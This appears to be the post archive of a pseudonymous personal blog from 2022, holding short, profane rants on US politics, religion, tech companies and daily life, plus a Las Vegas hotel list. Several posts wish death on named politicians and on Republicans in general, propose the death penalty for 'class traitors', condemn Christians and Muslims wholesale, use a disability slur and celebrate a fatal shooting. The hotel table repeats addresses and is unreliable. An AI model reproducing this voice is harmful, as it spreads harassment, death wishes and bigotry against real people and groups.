I’ve taken shits less offensive than Donald Trump. And, let me be clear here; not a single one of them could ever be described as “rosy”. The reality is that the right has settled on advancing an individual as “our guy”, who is a lecherous billionaire who has zero concern for the people of his country. Fuck Donald Trump. Voting for Trump is a really effective way to communicate how much of a selfish cunt you are. The irony is ever-increasing as you start to consider that his constituents vocally support “God and country”. Irony of ironies that the party of selfish cuntism is also the most spiritual. Except it isn’t ironic at all if you’re even remotely familiar with christianity. Christianity and Islam are the same type of bullshit lies while simultaneously being slightly different from one another, and yet the exact same kind of garbage. Fuck Christians, fuck muslims too, and especially fuck the GOP.

The Second Amendment

Mon, 21 Nov 2022 07:26:30 -0500

It fascinates me to see Republican lawmakers tout how “gun bans don’t work” when in the same breath they’ll support any and every attempt at Iranian nuclear de-proliferation. So let’s get something straight, here, Ted Cruz; You’ll support nuclear de-proliferation in Iran but not de-proliferation of guns at home? Hmm, I wonder- why is that, Ted? It’s probably because Ted is bankrolled heavily by American arms manufacturers. Ted knows that bans on assault weapons work. Ted is fully aware that those laws are statistically significant, but he’ll fight them tooth and nail because his corporate masters will ensure he retires on piles of millions so long as he keeps them wealthy enough to do so.

Absentia

Mon, 21 Nov 2022 06:54:20 -0500

Comcast fails me completely yet again. Go to connect to my home ssh server (as I always do) and get no response. So I check the Comcast app and see that, of course, Comcast is experiencing issues. Of course they are. Any time my shit is offline, it’s because of them, not because of me. I run commercial grade networking gear. They must be running the same bullshit they try to sell you when you sign up, because their shit is never working. Fucking assholes. Do I get any remuneration for these outages? Of course not, because I’ve been a customer for a long time. They know they’ve got my money, the greedy fucking pigs. Comcast has to be the worst internet provider I’ve ever had. The games they play with prices are worse than their customer support, too. What a shitty company. I wouldn’t even bother with these fuckers if it weren’t for the fact that they have a local monopoly where I live.

Stupidity

Sun, 20 Nov 2022 13:23:46 -0500

My cat is sitting on my chest. It’s not the easiest posture for blogging, having a cat on your chest, but I suppose I’m managing regardless.

I went to see the movie The Menu in theaters last night. Spoiler alert. If you want to see this movie without spoilers, don’t continue reading.

Kotaku Is Lying to You About Activision Blizzard

Fri, 18 Nov 2022 09:57:10 -0500

Blizzard Games Are Disappearing From China Thanks To ‘A Jerk’

Ashley Bardhan wastes our valuable time yet again with another bit of CCP propaganda, this time in the form of an appeal to every gamer in China to “not blame the communist party” for the unreasonable expectations put on tech firms by the communist party, enabled by companies such as “NetEase”, who is also involved in the debacle.

It’s ridiculous how the blame is immediately shifted onto Blizzard, despite the fact that there are serious problems with every business deal taking place in China. A number of people have pointed toward the enormous asks from NetEase as to the reason Blizzard is no longer willing to play ball with the world’s worst hermit kingdom. Fuck China, and absolutely fuck Kotaku. They’re an awful outlet for information, likely because their parent company “G/O Media” is owned by “Great Hill Partners” who also owns IGN and Ziff Davis. This private ownership is not at all transparent like a publicly traded company would be, which means it’s important to keep in mind that their positions on things is going to lean however they’re paid for it to lean. At least with publicly traded companies you can look at who has a majority stake and assume the voice of the publicly traded outfit mirrors that of the person who owns a majority of shares.

Expletives

Sat, 12 Nov 2022 19:33:26 -0500

Nine times out of ten I can’t keep a single post constrained within a single subject. Nearly every post that I’ve written is just a sprawling rant across all of ridiculous randomness. It’s pretty annoying, considering I would really like to write pieces on specific subjects that I find interesting. It just doesn’t seem possible, because I can’t fucking prevent my mind from wandering all over the goddamn place while I’m writing. I also have never had great tools when it comes to keeping my thoughts organized. The tools most people use don’t really seem to do much for me. What might be an effective tool for most ends up being at best a hassle for me. It sucks, really. I can’t get past it, and I don’t think I’ll be able to get past it any time soon. It’s really fucking annoying.

Vote Blue No Matter Who

Wed, 09 Nov 2022 14:22:18 -0500

I cannot espouse this absolute absurdity unless it’s to combat an equal or greater absurdity, and so, I repeat- Vote Blue No Matter Who. Do it. Vote blue regardless of primaries, midterms, presidential elections, runoffs. I don’t care. Vote blue until the right is no longer questioning the democracy we’ve built. Vote blue until Trumpism dies. Vote blue until the right develops some fucking sanity, because right now that party is off the fucking rails.

Trumpers Are Social Cancer

Tue, 08 Nov 2022 10:29:55 -0500

In reality, the candidates you vote for give zero fucks about your existence. For all you know, they’re blissfully unaware that you even exist. The same can almost be said in reverse- You’re barely aware of who’s in office, because the guy in office is really just your average politician. He doesn’t really stand for anything. But he doesn’t constantly bring upon your home the threat of total nuclear annihilation, either. He’s just a lukewarm former lawyer trying to retire with a few million in his back pocket. You don’t bother him and he doesn’t bother you. It seems like a decent arrangement, right?

Hugh Jass

Mon, 07 Nov 2022 08:27:26 -0500

Tomorrow is election day. Historically, the party opposite the sitting president’s party does really well in midterms. Tomorrow is not the day to continue that trend. It’s going to be incredibly important for everyone to rally behind Roe. We need to send a message to these religious nutbags that they will not be allowed to govern women’s bodies with their superstitious bullshit.

I don’t care what excuses you think you have, you really don’t have any excuses. Go vote tomorrow. Seriously. This shit is fucking important, and if you don’t vote- they win.

Insanity Is the New Norm

Fri, 04 Nov 2022 13:40:04 -0400

We’ve spent the last thousand years developing a rational view of the universe in which we investigate cause and effect. It has served us well and elevated humanity from our messy hunter/gatherer tribal origins to the technologically advanced global society we are today. This progress didn’t come from the pedophile priests who tell us lies about magic sky wizards. The progress came from observation, measurement, intelligence, and reason.

I could go on and on about these assholes pushing anti-vaxx nonsense and other anti-science trash. I really could. I could ramble on for an eternity about moronic shit in the sovereign citizen movement or miracle mineral solution. I’m highly likely to create posts based on these subjects at some point, in fact.

Republicans Are Class Traitors

Sun, 30 Oct 2022 09:22:11 -0400

In all reality, Republicans are class traitors. They’ve wilfully espoused that they support any and all benefit and gain for their betters, but not their peers. The crime of class betrayal should carry a heavy penalty. I might even propose death as a penalty for such crimes, because they’re truly detrimental to society.

We’ve been engaged in a protracted and long term class war, all of us. We’ve all been fighting in it. We wouldn’t be alive right now if we weren’t, we would’ve starved to death long ago. And that’s the nature of it completely. The have-nots versus the haves. The haves were always here, they’ve been around since the start. Since the first agrarian settlements, there have been people staking claims to things simply because they exist in their proximity. Motivated entirely by greed, these people have told us we’re their lesser for thousands of years. They’ve enlisted the help of desperate and broken people to protect them, and in return these “haves” would keep enforcers on the payroll. These enforcers would evolve to be police, lawyers, judges. They exist between the ultra-wealthy and the impoverished, because they ensure the impoverished never realize that they’re the majority. They suppress the majority. These evil tools of society.

Twitter as a Utility

Sat, 29 Oct 2022 14:55:54 -0400

Apparently Musk is going to try to make Twitter a “public utility” without the oversight or government regulation of a public utility, because he “believes so much in freedom of speech”. Sounds like a dog whistle for white supremacy and alt-right groups more than it does “public service”. For one, Musk doesn’t respect public services, because he’s one of those idiot libertarian types. Second, private companies can’t “protect freedom of speech”. At the end of the day they’re vehemently opposed to any speech that would curtail profits, because they’re fucking private corporations. How stupid does this asshat think we are? Jesus. I mean, I guess he assumes a lot of us are morons because he does seem to have a cult following of morons. I think that’d definitely sway someone’s opinion of themselves and humanity. I can see his moron ego inflating like so much furry inflation porn.

Defector

Tue, 25 Oct 2022 16:32:38 -0400

Sometimes I wonder what went wrong when I was conceived. This “out of place”-ness, it doesn’t feel new or acquired. It doesn’t feel like I had to exist around people to experience it. I think there are very few places where I wouldn’t feel out of place. It’s difficult to quantify things that aren’t whole. It’s like a lingering sensation rather than a sure phenomenon.

I’m watching the drama with Kiwi Farms unfold, and I understand why people are angry. I get it completely. Kiwi Farms is an awful place where awful people gather to coordinate harassment campaigns against any individual they see fit for their attention. I get it. I just don’t agree with the means society is using to purge Kiwi Farms from the internet. Because Kiwi Farms has broken no laws, they’re using corporations and total lack of regulation to remove their voice entirely. Something that’s going to happen to you. It’s going to happen to me. We’re all going to have our voices removed, it’s simply a matter of attrition. Unless you’re just firing off useless videos of yourself dancing, you’re not going to be allowed to express your opinions on things. You’re probably thinking that I sound altogether too sure of myself and that there’s no way it could happen, but you’d be wrong. The thought police are coming for you. Right now they’re latching onto your current code of ethics and morals and they’re acting against individuals and groups you don’t agree with, but what are you going to do when it’s someone you know? Maybe your family member? Maybe you?

Vote This November

Mon, 24 Oct 2022 09:50:14 -0400

I feel like it’s going to be incredibly important for people to vote this November. We’re all going to have to participate in order to tell the government that we want more policy based on science. Right now we have far too many assholes in the GOP trying to stir up yet another sad “Satanic Panic” in order to rile up their base. It’s really pathetic to see in action, and usually the people supporting this shit the loudest are jackasses like David “Avocado” Wolfe. A man known for promoting quackery to treat all diseases up to and including cancer. I can’t stress enough how badly I want Wolfe to spend the rest of his days in prison for the shit he does. It’s parasitic. This garbage person is very closely associated with the right, and quite honestly I don’t get it, other than my existing understanding that con-men like to congregate, I guess. On the outset I suppose it makes sense for grifters to associate at least somewhat with one another.

Tell Paywall Publishers to Go Fuck Themselves

Tue, 18 Oct 2022 14:39:23 -0400

Are you absolutely livid that you can’t click on a link to a news story or article anymore without getting slapped in the face with some shitty paywall for a publisher you’re never going to give money? These assholes are already farming our data with tens of cookies and trackers, so it’s time for us to take our data back and tell them we’re going to get what we want and we’re not going to pay for it. And it’s totally legal, moral, and ethical.

Back at It

Tue, 18 Oct 2022 13:16:35 -0400

I’m back on the road this month. It’s not a light travel month, either. I’m talking 75% of the month will be spent at least two hours away from my home. It’s not optimal by any means, and quite frankly I hate it. I bought myself a Steam Deck and it’s been an absolute blast to mess with. I’m realizing quickly that it doesn’t matter how many expensive distractions I take with me on the road, there will always be something very important missing from the trip. It’s depressing, really. I even set it up so that I’m staying at a hotel that has a decent bar right behind it, walking distance. It’s still just a consolation prize. I can’t cuddle my fiance because she’s not here with me. It’s honestly pretty unacceptable, and I’m done with this travel bullshit. It was great when I didn’t want to be home, when being home meant fights. It was entirely convenient to be in another state, or just hours away, and I had the ability to just shut my phone off and instantly feel better.

Oh, and Another Thing

Mon, 10 Oct 2022 07:10:58 -0400

I just read a headline about the US Education Secretary not “being excited” about student loan forgiveness. It’s funny, though. It’s almost like you innately feel like the station of “US Secretary of Education” should be a role for someone to steward the educations of hundreds of millions of Americans, when in reality he’s just a corporate shill installed to extract as much money from students and parents as humanly possible. What a fucking shitty country we live in. We can’t have anything nice, corporations have to ruin everything that could even conceivably be great if allowed. God damn what a shame.

Happy Day Day

Mon, 10 Oct 2022 06:39:22 -0400

Don’t judge me, god dammit. Okay, you can judge me a little. Alright, maybe you can judge me appropriately, but I can’t promise that I’ll care. I haven’t started caring yet, god dammit. I’m a walking anachronism. Now, don’t go assuming that because I’m a walking anachronism that I’m also a totally irredeemable cunt. That’s just not true, and quite frankly, I’m insulted that you’d even think such a thing. But I get it. A lot of people who “reminisce” about “the way things were” are really just throwing shade at how many rights minorities have gained in the last fifty years. That’s not the kind of anachronism I am. I’m the kind where I feel people shouldn’t be cunts, but also, I’m not ready to eat bugs or die on Mars for science. I feel as though the science of today should be vetted and worked through to inform the practices of tomorrow, rather than people ever-mindlessly latching onto the latest fad because a small scale study hinted at something but could never be confirmed by large scale studies. Miss me with that shit, dog. I like my science to be well-vetted and long-standing.

Disintegrating

Sun, 09 Oct 2022 15:40:56 -0400

It certainly seems like humanity as a species is disintegrating. We’re so hung up on how much garbage we can accumulate for ourselves individually that nobody has considered the global impact of eight billion hairless apes all doing the same selfish shit simultaneously. It’s fascinating to watch shorelines creep up, temperatures rise, forests erode, and trash piles march ever higher above the horizon. We ceaselessly want above anything we could conceivably earn, and this behavior is rewarded. I can’t say that I have all the answers, or even a handful of good ones, but I can say that what we’re doing isn’t super conducive to our species existing in the next hundred years.

Steam Deck

Fri, 07 Oct 2022 18:47:39 -0400

Well, holy shit. I fucking pulled the trigger and ordered myself a Steam Deck. Just, goddamn. Needless to say, I’m pretty fucking excited. Didn’t go too apeshit with which one I bought. Got the 256gb model. Nice and middling. Not too little, not too much. Just right.

Man, and it’ll get here in a week or two? I’m fucking excited.

Writing Is Therapeutic

Fri, 07 Oct 2022 09:23:15 -0400

I know it’s not therapeutic for everyone, but I think it can be for nearly everyone, as it just takes practice over time. Though I get it. If you don’t “take to it immediately” it can be a bit disparaging to make multiple attempts at something purportedly therapeutic but doesn’t actually give you any benefit. If I’m being honest, I definitely fell into that camp. School forced me to journal multiple years. It was almost wholly painful, until it wasn’t.

Herschel Walker is a Fucking Hypocrite About Abortion

Tue, 04 Oct 2022 18:45:41 -0400

Herschel Walker is a fucking moron. He paid for his girlfriend to get an abortion, and now he thinks he’s going to win a senate seat as a Republican. Get absolutely fucked you complete moron. And this idiot who has clearly been hit too many times in the head claims he’s going to sue for defamation. Guess what, chief? You can’t sue for defamation unless the claims aren’t true, you absolute shit-gibbon. You worthless twat-waffle piece of shit. Holy fucking god I’m so tired of these Republican hypocrite pieces of shit thinking they can live lawlessly while the rest of us follow the rules. Suck my ass, bitch.

This shit is permanent. These documents will remain on the internet forever, and we will always remember how you rawdogged someone and then paid for their abortion.

Or, to put it in terms of your shitty senate campaign that’s doomed to fail: YOU PAID TO KILL AN INNOCENT BABY. Fuck you. Seriously, fuck you so fucking much. You’re all trash, and I hope everyone in the GOP dies of stage five cancers very painfully. I am sad that god isn’t real, because someone needs to send you pieces of shit to burn for eternity. You’re all the reason hell should exist.

See below for documents supporting this woman’s claims. She also has an unpublished receipt from the abortion clinic and a receipt from the $700 check he cut her to do the damn thing.

Hotels

Tue, 04 Oct 2022 22:24:23 +0000

Hotel List

These hotels are near or around Golden Nugget and The Little Vegas Chapel.

Hotel	Address	Cost
Circa Resort & Casino	8 Fremont Street Experience, Las Vegas, NV 89101	$117
Bridger Inn Hotel Las Vegas	301 S Main St, Las Vegas, NV 89101	$116
Golden Nugget	129 E Fremont St, Las Vegas, NV 89101	$62
City Center Motel	700 E Fremont St, Las Vegas, NV 89101	$60
Binion’s Hotel Casino	128 E Fremont St, Las Vegas, NV 89101	$59
Hotel Apache	128 E Fremont St, Las Vegas, NV 89101	$54
Oasis at Gold Spike	217 Las Vegas Blvd N, Las Vegas, NV 89101	$29
flamingo hotel las vegas	129 E Fremont St, Las Vegas, NV 89101	$22
Golden Gate Hotel & Casino	1 E Fremont St, Las Vegas, NV 89101	$20

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Mumbo Jumbo

Tue, 04 Oct 2022 11:20:47 -0400

Life feels like a constant battle to claw back time. We’re given at most a century to work with. Most of us are working with less, either from lifestyle or poor genetics, and no one is guaranteed exclusion from accidents no matter how safe they are.

There are so many agents stealing our time from us, too. We have sleep as a major thief, mercilessly grifting a third of our lives as a standard. Then you have the requirement of lodging and food, which in our current social structure means we’re dedicating another third of our lives to just having enough money to afford essentials such as clothing and a home. So we’re down to having a third of our lives to dedicate to all extraneous pursuits, like love, happiness, or virtually anything outside of the mundane garbage of baseline “existing”.

Miscellany

Mon, 03 Oct 2022 18:40:28 -0400

I’m sitting here, contemplating what exactly I need to write. I need to write. I need to sort things and explain things and produce things, I need my mind to bear fruit. I’m just at an impasse with what the hell I need to say. I do sometimes feel like I’ve already said everything, but I’m also keenly aware of the fact that my life is nowhere near any sort of end. It’s already far too soon to say I have no words left to write. I suppose this post itself stands as antithesis to the entire concept. It’s kind of a nothing-burger of a post, but it’s still written word. It’s still conveying an idea, or an absence of ideas. It’s a conveyance, to say the least.

Fall

Mon, 03 Oct 2022 06:42:58 -0400

It’s cold outside again. Especially here in the rust belt, where the weather is dumb as shit. Man, I’m really just goddamned exhausted. Does this capitalism thing ever slow the fuck down? I’m feeling pretty tired. I think it’s time for it to slow the fuck down.

I’m glad that I have this space to throw down anything I feel like saying. I’m grateful that I’ve eked out such a space for myself.

Randumb

Tue, 27 Sep 2022 06:41:00 -0400

I keep thinking about Putin’s threats to use nuclear weapons, and how it sets us back fifty years. This fascist moron seriously thinks clinging desperately to power is a good strategy, which I guess makes sense for a former KGB agent. God knows the intelligence community is batshit insane. It doesn’t matter if they’re CIA, NSA, MI-6, KGB, everyone in the intelligence community is a fucking psychopath. It’s a requirement for service, in case you didn’t know.

Strain

Mon, 26 Sep 2022 15:21:10 -0400

I feel so oblivious right now. I’ve been feeling the strain from all the business travel I’ve been doing for the year, but I guess I’ve only been feeling without realizing just how insane it’s been. Point in fact, I’ve been going hard since February, apparently. I only know this because I went back and checked records. But my work travel has been much higher than it’s ever supposed to have been. I feel the physical and emotional exhaustion from it, but the actual realization didn’t actually sink in until I had the data in front of me.

David Cash: the Bad Samaritan

Sat, 24 Sep 2022 21:10:27 -0400

In my travails across the internet, I’ve stumbled upon quite a few interesting true crime stories, and truly some of the most depraved acts one human can commit against another human.

But this post is different. This post isn’t about a sociopathic murderer. This post is about a sociopathic accomplice to murder who was given the name “David Cash” at birth. In 1998, David Cash watched his friend Jeremy Strohmeyer rape and murder seven year old Sherrice Iverson. This human waste has made public statements such as “I don’t feel there is much I could have done differently” and “I’m no idiot, I’ll (expletive) get my money out of this.”

Fucking Indiana

Sat, 24 Sep 2022 19:50:02 -0400

I spent the last couple days in Indiana for a family event. The event itself was nice, but it’s impossible to dive into any part of the state of Indiana and ignore the depressing environs engulfing you. The religious zealots have set aside Indiana as one of their “safe spaces”. It’s acceptable to be a hypocritical piece of shit in Indiana, if not encouraged. Now, I won’t say all hoosiers, because generalizations aren’t my thing. However, it can readily be ascribed to Trumpers. That’s just fucking reality. Trumpers are trash. Why are they trash? Because it’s a fucking choice. You choose to be a good person, or you choose to be garbage. Trumpers have chose to be garbage. That’s just how it is, and it’s not a generalization.

Cult 45

Sun, 18 Sep 2022 11:16:31 -0400

I’ve been thinking about my fake Christian family a good amount recently. They embody what the MAGA movement means nearly to the finest detail. They’re poor, anti-intellectual, uneducated, faux-spiritual, fake ass, deceptive, and a wholly unreliable lot.

I’m not so much talking about my mom’s side of my family, but my dad’s side of my family. They’re the faux Christians who want to judge everyone and not be judged. The people who are furthest from “Christ-like” yet are loudest about how much they love Jesus. The liars, the unrepentant, the corrupt. They’re also the “gay-hating MAGA” types, and they’re awful people.

Stable Diffusion

Sat, 17 Sep 2022 10:30:06 -0400

I’ve been fucking around with Stable Diffusion lately and I figured I’d upload some of the weird shit I’ve been forcing it to make, probably against it’s will.

Vladimir Putin is a Whiny Little Bitch

Sat, 17 Sep 2022 10:20:01 -0400

Warmth

Thu, 15 Sep 2022 08:53:13 -0400

I could watch her sleep all day. Her pretty eyes fluttering from whatever dreams stop by, her cute nose, deliciously juicy lips- She’s my person. She’s my warmth, my haven, wherever she is will be my sanctuary for the rest of my days. Around her I am myself, I’m not any half-truth of myself or censored artifact but my actual self, and she still loves me. To have that so completely with someone I love so much is something I’ve never experienced before. I can say that it feels like we’ve known each other forever and yet I can learn something new about her every day. I don’t need to know every inch of who she is as a person because I am not at all afraid of what I don’t know. The most important parts, her wonderful nature, she’s shared with me in deep and meaningful ways. I’ve also shared all that I can, all that there is of me. We can share whole days so comfortably, effortlessly. We put in the work and we communicate and we build together, we’re truly partners sharing a life, and it feels amazing. She’s amazing. You’re never going to find someone smarter. She’s an analytical boss of a person that can plan at a stretch as well as think on the fly. She’s cute and quirky and silly and fascinating and I love her.

All Cops Are Bastards

Thu, 15 Sep 2022 08:36:23 -0400

This pretty well sums up how the CIA has pretty much dictated Hollywood portrayals of police and the legal system since they first began this endeavor with “Mockingbird”. All cops are bastards. I say that decisively and without hesitation, because it’s true. People who want to be cops are bastards, so how could the police force avoid being infiltrated by bastards? Now, I can’t claim that the law enforcement situation is the same in every country, it absolutely isn’t. I’m sure there are quite a few countries out there who don’t give their police force unchecked powers to leverage against the entire population as they see fit. On the contrary, it seems like most countries recognize that systems of checks and balances are incredibly important in maintaining order. The US has just always had an ass backward half-ass method of trying to attempt things, the result is never as good as what other countries produce.

I Offend Most

Wed, 14 Sep 2022 15:48:40 -0400

It really does seem that way sometimes. I get the impression from many people that I conduct myself offensively, and I think to a large degree they’re mostly correct. I do eschew some societal standards for either the sake of brevity or just laziness. I don’t have a twitter or facebook account. I don’t have many, if any, social media accounts. This is as social as I get, and honestly I hope to keep this away from most people I encounter on a daily basis. It’s not for them to know the things in my head, save for whomever I allow in. I suppose I have a keen appreciation for privacy that not everyone was born equipped with. I honestly don’t think it was something I innately went to, either. It was more self defense for the unease of earning parental reproach. I was always afraid of miscalculated steps, doing something incorrectly, saying something incorrectly, being judged for things that I enjoy. My mom never really allowed me to put a healthy boundary between her and I, any boundary laid out was frequently breached and it would always feel horrible. In that environment I think I developed a deep appreciation for being able to have a private life that’s apart and away from anything and everything I participate in publicly. In fact, my fondness of privacy is the reason I’ll always blog here with only a pseudonym. I’ll never attach my lamename to this place, not fully. I know that each and every post on this blog has the potential to offend someone, it’s just a matter of whom and over what that determines whether it’s worth my reversing course to apologize.

Society is Upside Down

Tue, 13 Sep 2022 20:55:19 -0400

Have you ever wondered why society is the way it is? Why we have millionaires and billionaires telling us that police are more important than ensuring all of our neighbors are able to sustain themselves? Human nature is so corrupt and fucked for the first instinct to be to fuck over other humans to gain an advantage. Yet that’s what we do at every turn. Instead of allowing wealth to be distributed more evenly the wealthiest will dump far more cash into ensuring that there are “have-nots” than anything else.

Lindsey Graham Needs to Just Die Already

Tue, 13 Sep 2022 16:08:54 -0400

Lindsey Graham needs to just die already.

Once these assholes die, hopefully their children won’t be so fucking awful, and society can get better over time. But for real, this piece of shit is beyond redemption and the only way he can improve society is by a swift exit to the ethereal plane.

Coof

Mon, 12 Sep 2022 13:04:18 -0400

I caught the coof. God dammit. Again. It’s goddamned horrible. I’m not a fan, do not recommend. Don’t have “COVID parties”, don’t intentionally try to catch this thing, you’re gonna get it over and over eventually. Just avoid it. And all you superdodgers out there better count your lucky fucking stars that you don’t go through this shit, because it’s unfortunate to say the least.

I’m not sure if you’ve noticed this yet, but I treat this blog as my sort of social media. It’s where I dump my thoughts and feelings whereas normally most people would do so on facebook or twitter. I don’t accept that someone else has any say in what language I use or what thoughts I express, and so this is the road I’m taking for better or worse. I can be as kind or as abrasive as I see fit without conforming anything about myself to any standard set by society. I can do so relatively safely from behind a pseudonym that isn’t directly attached to me publicly. My OPSEC isn’t perfect by any means, and most would say it’s incredibly insufficient, but I think I’ve found a rational balance with OPSEC. Security, at the end of the day, is always a compromise between the end goal and usability. The end goal being absolute security, which is almost entirely unusable by anyone. A totally secure system doesn’t exist, because total security precludes all usability. So, of course, security is always trying to find the needle’s happy place between a usable and unusable system. You can easily find photos of my face on this blog, but that’s pretty much it. There are also a few other obscure bits and pieces, but it’s not frequent and it would require some effort for anyone to put together a comprehensive dossier on me.

They Stole Our Dislike Button and Now We're Confused

Sun, 11 Sep 2022 12:53:33 -0400

It’s funny to me that Google has decided Youtube is best served by removing the dislike button. Google doesn’t seem to realize they always had access to a better option, a more future-proof one. Google should actually have pulled what Facebook tried to, enforcing a “no pseudonym” rule aside from on a case by case basis. It would’ve been easier to implement that than basically ruin Youtube as a service, which was the road they actually took.

To Whit

Sat, 10 Sep 2022 21:48:39 -0400

Man, we’ve been watching this series called “Sister Wives” where these goofy ass motherfuckers go out in the world seeking extra partners when they’re already paired up. It’s a whole ass thing, man. Like, seriously. You’ve got this creepy serial-killer looking motherfucker, “Garrick Merrifield”, acting the part completely. He’s a total manipulative narcissist, controlling his wife Danielle and seemingly brainwashing her across like three seasons. But what creeps me out is that she seems to carve herself a spot in the fucked up triad that inevitably ends up toxic and awful. It’s just fucking wild, man. He keeps saying shit like “God has a plan and this must be part of it”. It’s ultra fucking creepy and cultish. He keeps saying that shit through nearly every episode of every season. The funniest thing is, he’s clearly just a pussy-fiend. It has absolutely fuck all to do with “God” and everything to do with him thinking with his dick. That’s all he ever does in any episode. He thinks with his dick and then when everything explodes just shrugs and says “Must be God’s will”. Like, no, motherfucker. Take some fucking responsibility for the fucked up shit you do and quit dragging invisible space wizards into it. He’s a sick fuck.

Video of Me Fisting My Anus

Sat, 10 Sep 2022 11:16:56 -0400

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Redneck Rebellion

Thu, 08 Sep 2022 08:48:46 -0400

If you haven’t seen the latest news, it looks like Donald Trump is in a bit of hot water with treating national secrets like they’re his own fucking personal playground. The absolute nerve of this rich piece of shit. What a fucking twat of a human being. He treated the executive office like a goddamn urinal. Him and his few pals, Rudy Giuliani and the rest of the crime syndicate, just shitting on the oath of office and every goddamn oath each had taken. What absolute garbage human beings. I fucking despise privileged little pieces of shit like Donald Trump, never knowing in his 70-odd years of existence what it’s fucking like to actually work hard. God damn, and this asshole is going to tell me that taxing people like him fairly will make them “go away” and everyone will be poor and starving with no billionaires to drop crumbs for them to eat. Fuck you. Fuck you so fucking much for saying such stupid fucking bullshit. Jesus. Fucking. Christ. No one worth a damn buys that bullshit.

Kiwi Farms and the Future of the Internet

Wed, 07 Sep 2022 10:49:44 -0400

First and foremost, I’ll say right off the bat that I do not condone targeted mass hate campaigns against individuals or groups. I personally condemn that activity across the board no matter the victim or antagonist in any conflict, for any reason. That said, there’s a terrifying precedent being set currently that’s going to enable certain groups to change the world in ways previously not possible.

First, we need to identify how speech is protected on the internet. Currently there are no laws on any books anywhere that guarantee a person has access to the internet. There are also no laws explicitly stating that a company has to, in good faith, do business with everyone who approaches them for service regardless of who they are or what they believe. There are no laws regulating platforms on the internet that ensure every individual has equal access or ability to use them. There are no laws protecting forms of speech on the internet uniformly. There aren’t any real protections in place anywhere in federal regulatory bodies or federal or state governments on the whole. You can fall back to the first amendment, but the first amendment says fuck all about corporations being required to propagate your ideas. There are no such protections in place.

Trugreen Chemlawn Complete Is Trash

Mon, 05 Sep 2022 12:29:05 -0400

If you ever decide to “improve” your lawn and sign up to Trugreen Chemlawn Complete you can pretty much count on this being the result after four months:

Just look at that beautiful series of images. Man, they really demonstrated the “Tailored Solutions” and “Science-Driven Expertise”, don’t you think? But they’ll take you for thousands of dollars to do nothing. The proof is in the images. They come out seemingly all the time and yet nothing improves. The weeds stay as thick and huge as they are. The bald spots are unchanging. It’s easily just the worst lawn service you can sign up for, you’re literally better off doing it yourself and saving a ton of cash. These jackasses are useless. Trugreen Chemlawn is basically just a trash can for you to throw $1,500 into. What a scam.

Meme Dump for Lulz

Sun, 04 Sep 2022 15:55:50 -0400

Random stupid bullshit, because why not?

Man, I love being able to embed media in blog posts.

Random Ass Words

Sun, 04 Sep 2022 13:39:30 -0400

Man, I love this blog setup. I love git. I love MacOS. It feels weird to say that, but I really do enjoy the Mach underpinnings and Unix environment, combined with an easy and native feeling GUI. I don’t know why, but window managers on Linux just don’t feel native. I’m not sure if that’s just a mind trick from how much choice is out there or what, but I think a lot of it stems from how wildly different each toolkit is from any other. For instance, if you’re running a Gnome desktop and you try to run KDE/Qt apps. It’s not as bad now as it used to be, you can get reasonable approximations to suit. But it used to be really bad.

Fuck Christianity

Sat, 03 Sep 2022 13:39:16 -0400

Fuck Republicans Completely, Entirely

Sat, 03 Sep 2022 11:34:47 -0400

I’ve been biting my tongue and refraining from commenting for long enough, but it’s spilling over and I can’t hold it back any longer. I need to comment on the rift between Democrats and Republicans, and I need to write as objectively as possible. Don’t think for a second, though, that my intent to write objectively prevents me from taking sides. That is not the case, as there is massive wrongdoing here. Not subjective, we’re talking objective wrongdoing. Here goes.

Design Language

Fri, 02 Sep 2022 17:53:28 -0400

I think I get it now. I think I understand why I really don’t like iPhone but very much so enjoy Apple’s computers. Their phones are designed for everyone, so they’re un-customizable bricks that they design “with any idiot in mind”, whereas Apple takes more of a “intuitive but also POSIX” approach with their desktop and laptop operating system. It’s essentially the notion that everyone needs a phone, not everyone feels they need a computer. At least, that’s how it comes off to me. You can customize MacOS pretty decently, even replacing the dock and other major OS components. You can’t really customize iOS all that much, certainly nowhere near as much as you can Android. Tell me if I’m off base with this, but that’s just the way it seems to me.

The Pursuit of Happiness

Fri, 02 Sep 2022 08:02:27 -0400

This song seems to be old as fuck, but it sure is a mood. A whole ass mood. I’ve been stuck on it for the last week or two. I can’t get it out of my head. Normally the songs that get stuck in my head strike me as being garbage, because they’re just perpetuating due to their tendency to get stuck in your head. I think this song is a damn decent song, but jesus- It’s infectious.

I Don't Know

Thu, 01 Sep 2022 08:47:39 -0400

The older I get the more I realize I don’t know my ass from a hole in the ground. I guess to be wise is to know you don’t know shit, which I suppose would make me pretty fucking wise. Expect this post to be a sprawling rant encompassing everything and saying little.

The SD card in my 8gb raspberry pi finally took a shit. I knew it was going to be the SD card that failed, because I’ve had a few fail over time. It’s not a huge deal, and I didn’t lose anything critical. I did, however, lose my Ubiquiti controller, and that sucked a lot. Especially considering how much of a pain in the ass it is to find it these days with all the restructuring they’ve been doing to their products. The whole “ISP level networking” thing is great for them, I’m sure, but not so great for me. I’m not an ISP. I don’t have a burgeoning need for serving whole ass populations with data. I’m just a little guy networking a single house with commercial grade equipment. Yes, it takes a little more braining to do something like that, but the payoff is huge. My network downtime is non-existent, and the performance is absolutely stellar. I don’t see slow-downs or loss that a lot of people see. Even people running that cringey “Netgear Gamer Router” crap can’t touch the performance of my network. Your little nighthawk can’t hold a candle to my setup. The nighthawk is only slightly less expensive than my rig, and the performance difference is a night and day comparison. But, as I was mentioning earlier, the SD card in the raspberry pi took a shit, and I’m without automatic updates for my wireless access point. It sucks, but I’m going to fix it this weekend by flashing Ubuntu server onto that raspberry pi again. Once that’s done I should be good to go.

James Rayl Got What He Deserved

Tue, 30 Aug 2022 20:23:00 -0400

I saw this recently and honestly felt compelled to comment.

James Rayl was warned and continued breaking and entering.

It’s in the fucking video. Watch the video, it’s all the evidence anyone needs. This piece of shit broke the deadbolt of the door and was almost inside when they fired on his idiotic ass and killed him, and he fucking got what he deserved no matter what these retards think.

Honestly, take the page down. He got his justice and he’s dead. Shut the fuck up and move on.

Weather the Storm

Sat, 27 Aug 2022 10:54:15 -0400

I keep writing and re-writing lines in this post. I don’t actually know what I want to say. I’m just not happy right now. It’s not that what I do for work has fundamentally changed, or really changed at all, but that for the last few months I’ve been tasked with projects that are out of state. It’s unusual to spend months at a time out of state in my role. At least, it’s been unusual with my company, anyways. I know there are application engineers with other companies that are never home, and that’s never really been my experience with my particular job or the things I’m typically assigned. I had one project right at the beginning of my employment with my company that had me out of town every week for nearly six months. It happened once in the six years that I had worked this job. But it seems like now we’re going to try and outdo that previous record.

Git

